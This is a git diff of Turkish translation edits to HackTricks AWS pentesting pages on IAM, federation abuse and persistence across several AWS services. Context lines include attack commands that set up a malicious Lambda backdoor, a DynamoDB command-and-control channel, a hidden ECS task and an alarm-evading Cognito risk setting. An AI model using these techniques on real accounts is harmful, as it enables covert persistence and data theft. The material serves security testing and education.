-Kimlik Merkezi dizininin en basit durumunda, **Kimlik Merkezi bir kullanıcı ve grup listesine sahip olacak** ve onlara **herhangi bir organizasyon hesabına** **politika atayabilecektir**. +Kimlik Merkezi dizininin en basit durumunda, **Kimlik Merkezi bir kullanıcı ve grup listesine sahip olacak** ve onlara **herhangi bir hesabın** politikalarını **atama** yeteneğine sahip olacaktır. -Bir Kimlik Merkezi kullanıcı/grubuna bir hesaba erişim vermek için, **Kimlik Merkezi'ne güvenen bir SAML Kimlik Sağlayıcısı oluşturulacak** ve **belirtilen politikalarla Kimlik Sağlayıcısına güvenen bir rol, hedef hesapta oluşturulacaktır**. +Bir Kimlik Merkezi kullanıcı/grubuna bir hesaba erişim vermek için, **Kimlik Merkezi'ne güvenen bir SAML Kimlik Sağlayıcısı oluşturulacak** ve **belirtilen politikalarla Kimlik Sağlayıcıya güvenen bir rol, hedef hesapta oluşturulacaktır**. #### AwsSSOInlinePolicy @@ -266,7 +266,7 @@ Bu nedenle, **`AwsSSOInlinePolicy`** adlı bir satır içi politikaya sahip 2 ro ### Hesaplar Arası Güvenler ve Roller **Bir kullanıcı** (güvenen), bazı politikalarla bir Hesaplar Arası Rol oluşturabilir ve ardından **başka bir kullanıcıya** (güvenilen) **hesabına erişim izni verebilir**, ancak yalnızca **yeni rol politikalarında belirtilen erişimle**. Bunu oluşturmak için, yeni bir Rol oluşturun ve Hesaplar Arası Rolü seçin. Hesaplar Arası Erişim için roller iki seçenek sunar. Sahip olduğunuz AWS hesapları arasında erişim sağlamak ve sahip olduğunuz bir hesap ile üçüncü taraf bir AWS hesabı arasında erişim sağlamak.\ -**Güvenilen kullanıcıyı belirtmek ve genel bir şey koymamak** önerilir; aksi takdirde, federasyon kullanıcıları gibi diğer kimlik doğrulaması yapılmış kullanıcılar da bu güveni kötüye kullanabilir. +**Güvenilen kullanıcıyı belirtmek ve genel bir şey koymamak** önerilir; aksi takdirde, diğer kimlik doğrulaması yapılmış kullanıcılar, federasyon kullanıcıları gibi, bu güveni kötüye kullanabilir. ### AWS Basit AD @@ -282,14 +282,14 @@ Desteklenmiyor: #### Web Federasyonu veya OpenID Kimlik Doğrulaması -Uygulama, geçici kimlik bilgileri oluşturmak için AssumeRoleWithWebIdentity kullanır. Ancak, bu AWS konsoluna erişim vermez, yalnızca AWS içindeki kaynaklara erişim sağlar. +Uygulama, geçici kimlik bilgileri oluşturmak için AssumeRoleWithWebIdentity'i kullanır. Ancak, bu AWS konsoluna erişim vermez, yalnızca AWS içindeki kaynaklara erişim sağlar. ### Diğer IAM seçenekleri -- **Minimum uzunluk ve şifre gereksinimleri** gibi bir şifre politikası ayarı yapabilirsiniz. +- **Şifre politikası ayarlarını** minimum uzunluk ve şifre gereksinimleri gibi seçenekleri **belirleyebilirsiniz**. - Mevcut kimlik bilgileri hakkında bilgi içeren bir **"Kimlik Bilgisi Raporu"** **indirebilirsiniz** (kullanıcı oluşturma zamanı, şifre etkin mi...). Bir kimlik bilgisi raporu, her **dört saatte bir** kadar sık oluşturulabilir. -AWS Kimlik ve Erişim Yönetimi (IAM), AWS genelinde **ince ayarlanmış erişim kontrolü** sağlar. IAM ile, **kimin hangi hizmetlere ve kaynaklara erişebileceğini** ve hangi koşullar altında erişebileceğini belirtebilirsiniz. IAM politikaları ile, iş gücünüze ve sistemlerinize **en az ayrıcalık izinleri** sağlamak için izinleri yönetirsiniz. +AWS Kimlik ve Erişim Yönetimi (IAM), AWS genelinde **ince ayrıntılı erişim kontrolü** sağlar. IAM ile, **kimin hangi hizmetlere ve kaynaklara erişebileceğini** ve hangi koşullar altında erişebileceğini belirtebilirsiniz. IAM politikaları ile, iş gücünüze ve sistemlerinize **en az ayrıcalık izinlerini** sağlamak için izinleri yönetirsiniz. ### IAM ID Ön Ekleri @@ -307,7 +307,7 @@ AWS Kimlik ve Erişim Yönetimi (IAM), AWS genelinde **ince ayarlanmış erişim | APKA | Genel anahtar | | AROA | Rol | | ASCA | Sertifika | -| ASIA | [Geçici (AWS STS) erişim anahtar kimlikleri](https://docs.aws.amazon.com/STS/latest/APIReference/API_Credentials.html) bu ön eki kullanır, ancak yalnızca gizli erişim anahtarı ve oturum belirteci ile bir arada benzersizdir. | +| ASIA | [Geçici (AWS STS) erişim anahtarı kimlikleri](https://docs.aws.amazon.com/STS/latest/APIReference/API_Credentials.html) bu ön eki kullanır, ancak yalnızca gizli erişim anahtarı ve oturum belirteci ile kombinasyon halinde benzersizdir. | ### Hesapları denetlemek için önerilen izinler @@ -326,9 +326,9 @@ Aşağıdaki ayrıcalıklar, çeşitli meta verilerin okunmasına izin verir: ### CLI Kimlik Doğrulaması -Bir normal kullanıcının CLI aracılığıyla AWS'ye kimlik doğrulaması yapabilmesi için **yerel kimlik bilgilerine** sahip olması gerekir. Varsayılan olarak, bunları `~/.aws/credentials` dosyasında **manuel olarak** yapılandırabilir veya **çalıştırarak** `aws configure` yapabilirsiniz.\ -O dosyada birden fazla profil bulundurabilirsiniz; eğer **hiçbir profil** belirtilmezse, **aws cli** kullanarak, o dosyada **`[default]`** olarak adlandırılan profil kullanılacaktır.\ -Birden fazla profil içeren kimlik bilgisi dosyası örneği: +Bir normal kullanıcının CLI aracılığıyla AWS'ye kimlik doğrulaması yapabilmesi için **yerel kimlik bilgilerine** sahip olması gerekir. Varsayılan olarak, bunları **elle** `~/.aws/credentials` dosyasında yapılandırabilir veya **çalıştırarak** `aws configure` yapabilirsiniz.\ +O dosyada birden fazla profil bulundurabilirsiniz; eğer **hiçbir profil** belirtilmezse, **aws cli** kullanırken o dosyadaki **`[default]`** adlı profil kullanılacaktır.\ +Birden fazla profil içeren kimlik bilgileri dosyası örneği: ``` [default] aws_access_key_id = AKIA5ZDCUJHF83HDTYUT @@ -341,7 +341,7 @@ region = eu-west-2 ``` Eğer **farklı AWS hesaplarına** erişmeniz gerekiyorsa ve profilinize **bu hesaplar içinde bir rol üstlenme** yetkisi verildiyse, her seferinde STS'yi manuel olarak çağırmanıza gerek yoktur (`aws sts assume-role --role-arn --role-session-name sessname`) ve kimlik bilgilerini yapılandırmanıza gerek yoktur. -`~/.aws/config` dosyasını kullanarak [**üstlenilecek rolleri belirtmek**](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html) ve ardından `--profile` parametresini her zamanki gibi kullanabilirsiniz (kullanıcı için `assume-role` şeffaf bir şekilde gerçekleştirilecektir).\ +`~/.aws/config` dosyasını kullanarak [**üstlenilecek rolleri belirtmek**](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html) ve ardından `--profile` parametresini her zamanki gibi kullanabilirsiniz (rol üstlenme, kullanıcı için şeffaf bir şekilde gerçekleştirilecektir).\ Bir yapılandırma dosyası örneği: ``` [profile acc2] @@ -351,7 +351,7 @@ role_session_name = source_profile = sts_regional_endpoints = regional ``` -Bu yapılandırma dosyası ile aws cli'yi şu şekilde kullanabilirsiniz: +Bu yapılandırma dosyasıyla aws cli'yi şu şekilde kullanabilirsiniz: ``` aws --profile acc2 ... ``` diff --git a/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md b/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md index 43f1b752f..ef4de6fe1 100644 --- a/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md +++ b/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md @@ -10,7 +10,7 @@ SAML hakkında bilgi için lütfen kontrol edin: https://book.hacktricks.xyz/pentesting-web/saml-attacks {{#endref}} -**SAML üzerinden bir Kimlik Federasyonu** yapılandırmak için sadece bir **isim** ve tüm SAML yapılandırmasını içeren **metadata XML** sağlamanız yeterlidir (**uç noktalar**, **sertifika** ile birlikte genel anahtar) +**SAML üzerinden bir Kimlik Federasyonu** yapılandırmak için sadece bir **isim** ve tüm SAML yapılandırmasını içeren **metadata XML** sağlamanız yeterlidir (**son noktalar**, **açık anahtara sahip sertifika**) ## OIDC - Github Actions Abuse @@ -19,7 +19,7 @@ Bir github eylemini Kimlik sağlayıcı olarak eklemek için: 1. _Sağlayıcı türü_ için **OpenID Connect**'i seçin. 2. _Sağlayıcı URL'si_ için `https://token.actions.githubusercontent.com` girin. 3. Sağlayıcının parmak izini almak için _Parmak izini al_ butonuna tıklayın. -4. _Hedef kitle_ için `sts.amazonaws.com` girin. +4. _Hedef_ için `sts.amazonaws.com` girin. 5. Github eyleminin ihtiyaç duyduğu **izinler** ile birlikte bir **yeni rol** oluşturun ve sağlayıcıyı güvenen bir **güven politikası** oluşturun: - ```json { @@ -44,8 +44,8 @@ Bir github eylemini Kimlik sağlayıcı olarak eklemek için: ] } ``` -6. Önceki politikada yalnızca belirli bir **tetikleyici** ile bir **kuruluşun** **depo**'sundan bir **dal**'ın yetkilendirildiğine dikkat edin. -7. Github eyleminin **taklit** edebileceği **rol**'ün **ARN**'si, github eyleminin bilmesi gereken "gizli" bilgi olacak, bu yüzden bunu bir **gizli** olarak bir **ortam** içinde **saklayın**. +6. Önceki politikada yalnızca bir **şubenin** belirli bir **tetikleyici** ile bir **kuruluşun** **depo**sundan yetkilendirildiğine dikkat edin. +7. Github eyleminin **taklit** edebileceği **rolün** **ARN**'si, github eyleminin bilmesi gereken "gizli" bilgi olacak, bu yüzden bunu bir **gizli** içinde bir **ortamda** **saklayın**. 8. Son olarak, iş akışı tarafından kullanılacak AWS kimlik bilgilerini yapılandırmak için bir github eylemi kullanın: ```yaml name: "test AWS Access" @@ -108,9 +108,9 @@ eksctl utils associate-iam-oidc-provider --cluster Testing --approve ] } ``` -Bu politika, **id** `20C159CDF6F2349B68846BEC03BE031B` olan **EKS kümesinin** yalnızca rolü üstlenebileceğini doğru bir şekilde belirtiyor. Ancak, hangi hizmet hesabının bunu üstlenebileceğini belirtmiyor, bu da **HERHANGİ bir hizmet hesabının web kimlik belirteci** ile rolü **üstlenebileceği** anlamına geliyor. +Bu politika, **sadece** **id** `20C159CDF6F2349B68846BEC03BE031B` olan **EKS kümesinin** rolü üstlenebileceğini doğru bir şekilde belirtiyor. Ancak, hangi hizmet hesabının bunu üstlenebileceğini belirtmiyor, bu da **HERHANGİ bir hizmet hesabının web kimlik belirteci ile** rolü **üstlenebileceği** anlamına geliyor. -**Hangi hizmet hesabının rolü üstlenebileceğini belirtmek için,** **hizmet hesabı adı belirtilen** bir **koşul** tanımlamak gereklidir, örneğin: +**Hangi hizmet hesabının rolü üstlenebileceğini** belirtmek için, **hizmet hesabı adının belirtildiği** bir **koşul** tanımlamak gereklidir, örneğin: ```bash "oidc.eks.region-code.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B:sub": "system:serviceaccount:default:my-service-account", ``` diff --git a/src/pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md b/src/pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md index b60bb1b7f..e16a4b7e0 100644 --- a/src/pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md +++ b/src/pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md @@ -1,4 +1,4 @@ -# AWS - Permissions for a Pentest +# AWS - Pentest için İzinler {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md index d33e2610e..1bbf9cb7a 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md @@ -12,21 +12,21 @@ Daha fazla bilgi için: ### Kaynak Politikası -API gateway'lerin kaynak politikasını değiştirerek kendinize erişim verin. +API gateway'lerin kaynak politikasını değiştirerek kendinize erişim izni verin. ### Lambda Yetkilendiricilerini Değiştirin -Lambda yetkilendiricilerinin kodunu değiştirerek tüm uç noktalara erişim verin.\ -Ya da sadece yetkilendiricinin kullanımını kaldırın. +Lambda yetkilendiricilerinin kodunu değiştirerek tüm uç noktalara erişim izni verin.\ +Ya da yetkilendiricinin kullanımını kaldırın. ### IAM İzinleri -Bir kaynak IAM yetkilendiricisi kullanıyorsa, IAM izinlerini değiştirerek kendinize erişim verebilirsiniz.\ -Ya da sadece yetkilendiricinin kullanımını kaldırın. +Bir kaynak IAM yetkilendiricisi kullanıyorsa, IAM izinlerini değiştirerek kendinize erişim izni verebilirsiniz.\ +Ya da yetkilendiricinin kullanımını kaldırın. ### API Anahtarları API anahtarları kullanılıyorsa, sürekliliği sağlamak için bunları sızdırabilir veya hatta yenilerini oluşturabilirsiniz.\ -Ya da sadece API anahtarlarının kullanımını kaldırın. +Ya da API anahtarlarının kullanımını kaldırın. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md index c89608350..9c30be432 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md @@ -4,7 +4,7 @@ ## Cognito -Daha fazla bilgi için erişim sağlayın: +Daha fazla bilgi için erişin: {{#ref}} ../aws-services/aws-cognito-enum/ @@ -14,11 +14,11 @@ Daha fazla bilgi için erişim sağlayın: Cognito, kimlik doğrulaması yapılmamış ve kimlik doğrulaması yapılmış kullanıcılara roller vermeyi ve bir kullanıcı dizinini kontrol etmeyi sağlayan bir hizmettir. Bazı sürekliliği sağlamak için değiştirilebilecek birkaç farklı yapılandırma vardır, örneğin: -- **Kullanıcı tarafından kontrol edilen bir Kullanıcı Havuzunu** bir Kimlik Havuzuna eklemek -- **Kimlik doğrulaması yapılmamış bir Kimlik Havuzuna IAM rolü vermek ve Temel kimlik doğrulama akışına izin vermek** -- Veya **kimlik doğrulaması yapılmış bir Kimlik Havuzuna** eğer saldırgan giriş yapabiliyorsa +- **Kullanıcı Havuzuna** kullanıcı tarafından kontrol edilen bir Kimlik Havuzu eklemek +- Kimlik doğrulaması yapılmamış bir Kimlik Havuzuna **IAM rolü vermek ve Temel kimlik doğrulama akışına izin vermek** +- Saldırgan giriş yapabiliyorsa **kimlik doğrulaması yapılmış bir Kimlik Havuzuna** vermek - Veya verilen rollerin **izinlerini artırmak** -- **Öznitelikler kontrol edilen kullanıcılar veya yeni kullanıcılar aracılığıyla** bir **Kullanıcı Havuzunda** oluşturmak, doğrulamak ve yetki yükseltmek +- **Özniteliklerle kontrol edilen kullanıcılar veya yeni kullanıcılar aracılığıyla oluşturma, doğrulama ve yetki yükseltme** yapmak bir **Kullanıcı Havuzunda** - **Dış Kimlik Sağlayıcılarının** bir Kullanıcı Havuzuna veya bir Kimlik Havuzuna giriş yapmasına izin vermek Bu eylemleri nasıl yapacağınızı kontrol edin @@ -29,11 +29,11 @@ Bu eylemleri nasıl yapacağınızı kontrol edin ### `cognito-idp:SetRiskConfiguration` -Bu yetkiye sahip bir saldırgan, bir Cognito kullanıcısı olarak giriş yapabilmek için risk yapılandırmasını değiştirebilir **alarm tetiklenmeden**. [**CLI'yi kontrol edin**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/set-risk-configuration.html) tüm seçenekleri görmek için: +Bu yetkiye sahip bir saldırgan, Cognito kullanıcısı olarak giriş yapabilmek için risk yapılandırmasını değiştirebilir **alarm tetiklenmeden**. [**CLI'yi kontrol edin**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/set-risk-configuration.html) tüm seçenekleri görmek için: ```bash aws cognito-idp set-risk-configuration --user-pool-id --compromised-credentials-risk-configuration EventFilter=SIGN_UP,Actions={EventAction=NO_ACTION} ``` -Varsayılan olarak bu devre dışıdır: +Varsayılan olarak bu devre dışıdır:
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md index c709bdcde..5cfa35262 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md @@ -12,7 +12,7 @@ Daha fazla bilgi için erişin: ### Lambda Arka Kapısı ile DynamoDB Tetikleyicileri -DynamoDB tetikleyicilerini kullanarak, bir saldırgan bir tabloyla kötü niyetli bir Lambda fonksiyonu ilişkilendirerek **gizli bir arka kapı** oluşturabilir. Lambda fonksiyonu bir öğe eklendiğinde, değiştirildiğinde veya silindiğinde tetiklenebilir, bu da saldırgana AWS hesabı içinde rastgele kod çalıştırma imkanı tanır. +DynamoDB tetikleyicilerini kullanarak, bir saldırgan bir tabloyla kötü niyetli bir Lambda fonksiyonunu ilişkilendirerek **gizli bir arka kapı** oluşturabilir. Lambda fonksiyonu bir öğe eklendiğinde, değiştirildiğinde veya silindiğinde tetiklenebilir, bu da saldırgana AWS hesabı içinde rastgele kod çalıştırma imkanı tanır. ```bash # Create a malicious Lambda function aws lambda create-function \ @@ -36,9 +36,9 @@ aws lambda create-event-source-mapping \ ``` Sürekliliği sağlamak için, saldırgan DynamoDB tablosunda öğeler oluşturabilir veya bunları değiştirebilir, bu da kötü niyetli Lambda fonksiyonunu tetikler. Bu, saldırgana Lambda fonksiyonu ile doğrudan etkileşim olmadan AWS hesabı içinde kod çalıştırma imkanı tanır. -### DynamoDB C2 Kanalı Olarak +### DynamoDB'yi C2 Kanalı Olarak Kullanma -Bir saldırgan, komutlar içeren öğeler oluşturarak ve ele geçirilmiş örnekler veya Lambda fonksiyonları kullanarak bu komutları almak ve çalıştırmak için bir DynamoDB tablosunu **komut ve kontrol (C2) kanalı** olarak kullanabilir. +Bir saldırgan, komutlar içeren öğeler oluşturarak ve bu komutları almak ve yürütmek için ele geçirilmiş örnekler veya Lambda fonksiyonları kullanarak DynamoDB tablosunu **komut ve kontrol (C2) kanalı** olarak kullanabilir. ```bash # Create a DynamoDB table for C2 aws dynamodb create-table \ diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md index 80c40e816..941d0a27d 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md @@ -12,36 +12,36 @@ Daha fazla bilgi için kontrol edin: ### Güvenlik Grubu Bağlantı İzleme Sürekliliği -Eğer bir savunucu **EC2 örneğinin ele geçirildiğini** fark ederse, muhtemelen makinenin **ağını izole etmeye** çalışacaktır. Bunu açık bir **Deny NACL** ile yapabilir (ancak NACL'ler tüm alt ağa etki eder), ya da **herhangi bir türde gelen veya giden** trafiğe izin vermeyen **güvenlik grubunu değiştirebilir**. +Eğer bir savunucu **EC2 örneğinin tehlikeye girdiğini** fark ederse, muhtemelen makinenin **ağını izole etmeye** çalışacaktır. Bunu açık bir **Deny NACL** ile yapabilir (ancak NACL'ler tüm alt ağa etki eder) veya **güvenlik grubunu değiştirerek** **herhangi bir türde gelen veya giden** trafiğe izin vermeyebilir. -Eğer saldırganın makineden kaynaklanan bir **ters kabuk** varsa, SG gelen veya giden trafiğe izin vermeyecek şekilde değiştirilse bile, **bağlantı** [**Güvenlik Grubu Bağlantı İzleme**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html)** nedeniyle kesilmeyecektir.** +Eğer saldırganın makineden kaynaklanan bir **ters kablosu** varsa, SG değiştirildiğinde bile gelen veya giden trafiğe izin vermeyen, **bağlantı [**Güvenlik Grubu Bağlantı İzleme**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html)** nedeniyle kesilmeyecektir.** ### EC2 Yaşam Döngüsü Yöneticisi Bu hizmet, **AMI'lerin ve anlık görüntülerin oluşturulmasını** **planlamaya** ve hatta **başka hesaplarla paylaşmaya** olanak tanır.\ -Bir saldırgan, **her hafta** tüm görüntülerin veya tüm hacimlerin **AMI'lerini veya anlık görüntülerini oluşturmak için** yapılandırma yapabilir ve **kendi hesabıyla paylaşabilir**. +Bir saldırgan, **her hafta** tüm görüntülerin veya tüm hacimlerin **AMI'lerini veya anlık görüntülerini oluşturmak için** yapılandırabilir ve **kendi hesabıyla paylaşabilir**. ### Planlı Örnekler -Örneklerin günlük, haftalık veya hatta aylık olarak çalıştırılması mümkündür. Bir saldırgan, erişebileceği yüksek ayrıcalıklara sahip bir makine çalıştırabilir. +Örneklerin günlük, haftalık veya hatta aylık olarak çalıştırılması mümkündür. Bir saldırgan, yüksek ayrıcalıklara sahip veya ilginç bir erişim sağlayan bir makine çalıştırabilir. ### Spot Filosu Talebi -Spot örnekleri, normal örneklerden **daha ucuzdur**. Bir saldırgan, **otomatik IP** ataması ve saldırgana **spot örneği başladığında** ve **IP adresi** ile ilgili bilgi gönderen bir **kullanıcı verisi** ile **5 yıl için küçük bir spot filosu talebi** başlatabilir (örneğin). +Spot örnekleri, normal örneklerden **daha ucuzdur**. Bir saldırgan, **5 yıl için küçük bir spot filosu talebi** başlatabilir (örneğin), **otomatik IP** ataması ile ve saldırgana **spot örneği başladığında** **IP adresini** gönderen bir **kullanıcı verisi** ile. ### Arka Kapı Örnekleri -Bir saldırgan, örneklere erişebilir ve bunları arka kapı ile ele geçirebilir: +Bir saldırgan, örneklere erişim sağlayabilir ve bunları arka kapı ile açabilir: - Örneğin geleneksel bir **rootkit** kullanarak - Yeni bir **genel SSH anahtarı** ekleyerek (bakınız [EC2 ayrıcalık yükseltme seçenekleri](../aws-privilege-escalation/aws-ec2-privesc.md)) -- **Kullanıcı Verisini** arka kapı ile ele geçirerek +- **Kullanıcı Verisini** arka kapı ile açarak ### **Arka Kapı Başlatma Yapılandırması** -- Kullanılan AMI'yi arka kapı ile ele geçirmek -- Kullanıcı Verisini arka kapı ile ele geçirmek -- Anahtar Çifti'ni arka kapı ile ele geçirmek +- Kullanılan AMI'yi arka kapı ile aç +- Kullanıcı Verisini arka kapı ile aç +- Anahtar Çifti'ni arka kapı ile aç ### VPN @@ -49,6 +49,6 @@ Saldırganın VPC'ye doğrudan bağlanabilmesi için bir VPN oluşturun. ### VPC Peering -Kurban VPC ile saldırgan VPC arasında bir peering bağlantısı oluşturun, böylece kurban VPC'ye erişebilir. +Kurban VPC ile saldırgan VPC arasında bir peering bağlantısı oluşturun, böylece kurban VPC'ye erişim sağlayabilir. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md index 1cd9c21b2..b65c5144a 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md @@ -12,7 +12,7 @@ Daha fazla bilgi için kontrol edin: ### Kötü Amaçlı Kod İçeren Gizli Docker Görüntüsü -Bir saldırgan, **kötü amaçlı kod içeren bir Docker görüntüsünü** bir ECR deposuna yükleyebilir ve bunu hedef AWS hesabında sürekliliği sağlamak için kullanabilir. Saldırgan daha sonra kötü amaçlı görüntüyü, Amazon ECS veya EKS gibi hesap içindeki çeşitli hizmetlere gizlice dağıtabilir. +Bir saldırgan, bir ECR deposuna **kötü amaçlı kod içeren bir Docker görüntüsü yükleyebilir** ve bunu hedef AWS hesabında sürekliliği sağlamak için kullanabilir. Saldırgan daha sonra kötü amaçlı görüntüyü, Amazon ECS veya EKS gibi hesap içindeki çeşitli hizmetlere gizlice dağıtabilir. ### Depo Politikası @@ -41,15 +41,15 @@ aws ecr set-repository-policy \ } ``` > [!WARNING] -> ECR'nin, kullanıcıların bir IAM politikası aracılığıyla **`ecr:GetAuthorizationToken`** API'sine çağrı yapma **izinlerine** sahip olmalarını gerektirdiğini unutmayın; bu, bir kayıt defterine kimlik doğrulaması yapmadan ve herhangi bir Amazon ECR deposundan görüntüleri itip çekmeden önce gereklidir. +> ECR'nin, kullanıcıların bir kayıt defterine kimlik doğrulaması yapabilmeleri ve herhangi bir Amazon ECR deposundan görüntüleri itip çekebilmeleri için **`ecr:GetAuthorizationToken`** API'sine çağrılar yapma **izinlerine** sahip olmalarını gerektirdiğini unutmayın. ### Kayıt Defteri Politikası ve Hesaplar Arası Çoğaltma -Kayıt defterini dış bir hesapta otomatik olarak çoğaltmak mümkündür; burada, kayıt defterini çoğaltmak istediğiniz **dış hesabı** belirtmeniz gerekir. +Hesaplar arası çoğaltmayı yapılandırarak, bir kayıt defterini harici bir hesapta otomatik olarak çoğaltmak mümkündür; burada kayıt defterini çoğaltmak istediğiniz **harici hesabı** belirtmeniz gerekir.
-Öncelikle, dış hesaba kayıt defteri üzerinde erişim vermeniz gerekir; bu, aşağıdaki gibi bir **kayıt defteri politikası** ile yapılabilir: +Öncelikle, harici hesaba kayıt defteri üzerinde erişim vermeniz gerekir; bu, aşağıdaki gibi bir **kayıt defteri politikası** ile yapılabilir: ```bash aws ecr put-registry-policy --policy-text file://my-policy.json diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md index 94b25b8cf..1f251de53 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md @@ -15,7 +15,7 @@ Daha fazla bilgi için kontrol edin: > [!NOTE] > TODO: Test -Bir saldırgan, Amazon EventBridge kullanarak **kötü niyetli bir görevin periyodik olarak yürütülmesini planlamak için gizli bir periyodik ECS görevi oluşturabilir**. Bu görev, keşif yapabilir, veri sızdırabilir veya AWS hesabında sürekliliği sürdürebilir. +Bir saldırgan, Amazon EventBridge kullanarak **kötü niyetli bir görevin periyodik olarak yürütülmesini planlamak için gizli bir periyodik ECS görevi oluşturabilir**. Bu görev keşif yapabilir, veri sızdırabilir veya AWS hesabında sürekliliği sürdürebilir. ```bash # Create a malicious task definition aws ecs register-task-definition --family "malicious-task" --container-definitions '[ @@ -74,7 +74,7 @@ aws ecs register-task-definition --family "existing-task" --container-definition > [!NOTE] > TODO: Test -Bir saldırgan, kötü niyetli bir görevi çalıştıran **belgesiz bir ECS servisi** oluşturabilir. Görevlerin istenen sayısını en aza indirip günlüklemeyi devre dışı bırakarak, yöneticilerin kötü niyetli servisi fark etmesi zorlaşır. +Bir saldırgan, kötü niyetli bir görevi çalıştıran **belgesiz bir ECS servisi** oluşturabilir. İstenen görev sayısını en aza indirerek ve günlüklemeyi devre dışı bırakarak, yöneticilerin kötü niyetli servisi fark etmesi daha zor hale gelir. ```bash # Create a malicious task definition aws ecs register-task-definition --family "malicious-task" --container-definitions '[ diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md index 9eeca49a3..c5022050f 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md @@ -12,10 +12,10 @@ Daha fazla bilgi için kontrol edin: ### Kaynak Politikasını / Güvenlik Gruplarını Değiştir -**kaynak politikasını ve/veya güvenlik gruplarını** değiştirerek dosya sistemine erişiminizi sürdürebilirsiniz. +**Kaynak politikasını ve/veya güvenlik gruplarını** değiştirerek dosya sistemine erişiminizi sürdürebilirsiniz. ### Erişim Noktası Oluştur -**erişim noktası oluşturabilirsiniz** (kök erişimi ile `/`), dosya sistemine ayrıcalıklı erişimi sürdürmek için **diğer süreklilik** uyguladığınız bir hizmetten erişilebilir. +**Erişim noktası oluşturabilirsiniz** (kök erişimi ile `/`), bu erişim noktası, dosya sistemine ayrıcalıklı erişimi sürdürmek için **diğer süreklilik** uyguladığınız bir hizmetten erişilebilir. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md index 32362170e..9cf80ccd4 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md @@ -10,7 +10,7 @@ Daha fazla bilgi için kontrol edin: ../aws-services/aws-elastic-beanstalk-enum.md {{#endref}} -### Instance İçinde Süreklilik +### Instance'da Süreklilik AWS hesabında sürekliliği sağlamak için, **instance içinde bazı süreklilik mekanizmaları tanıtılabilir** (cron işi, ssh anahtarı...) böylece saldırgan erişim sağlayabilir ve IAM rolü **kimlik bilgilerini metadata hizmetinden** çalabilir. @@ -27,7 +27,7 @@ Saldırgan, mevcut versiyondaki kodu değiştirmek yerine, uygulamanın yeni bir > [!NOTE] > TODO: Test -Elastic Beanstalk, instance sağlama ve sonlandırma sırasında özel betikler çalıştırmanıza olanak tanıyan yaşam döngüsü kancaları sağlar. Bir saldırgan, **AWS hesabına erişimi sürdürmek veya veri sızdıran bir betiği periyodik olarak çalıştırmak için bir yaşam döngüsü kancası yapılandırabilir**. +Elastic Beanstalk, instance sağlama ve sonlandırma sırasında özel betikler çalıştırmanıza olanak tanıyan yaşam döngüsü kancaları sağlar. Bir saldırgan, **AWS hesabına erişimi sürdürmek veya veri dışa aktarmak için periyodik olarak bir betik çalıştıracak şekilde bir yaşam döngüsü kancası yapılandırabilir**. ```bash bashCopy code# Attacker creates a script that exfiltrates data and maintains access echo '#!/bin/bash diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md index 17e0fe573..85f519dce 100644 --- 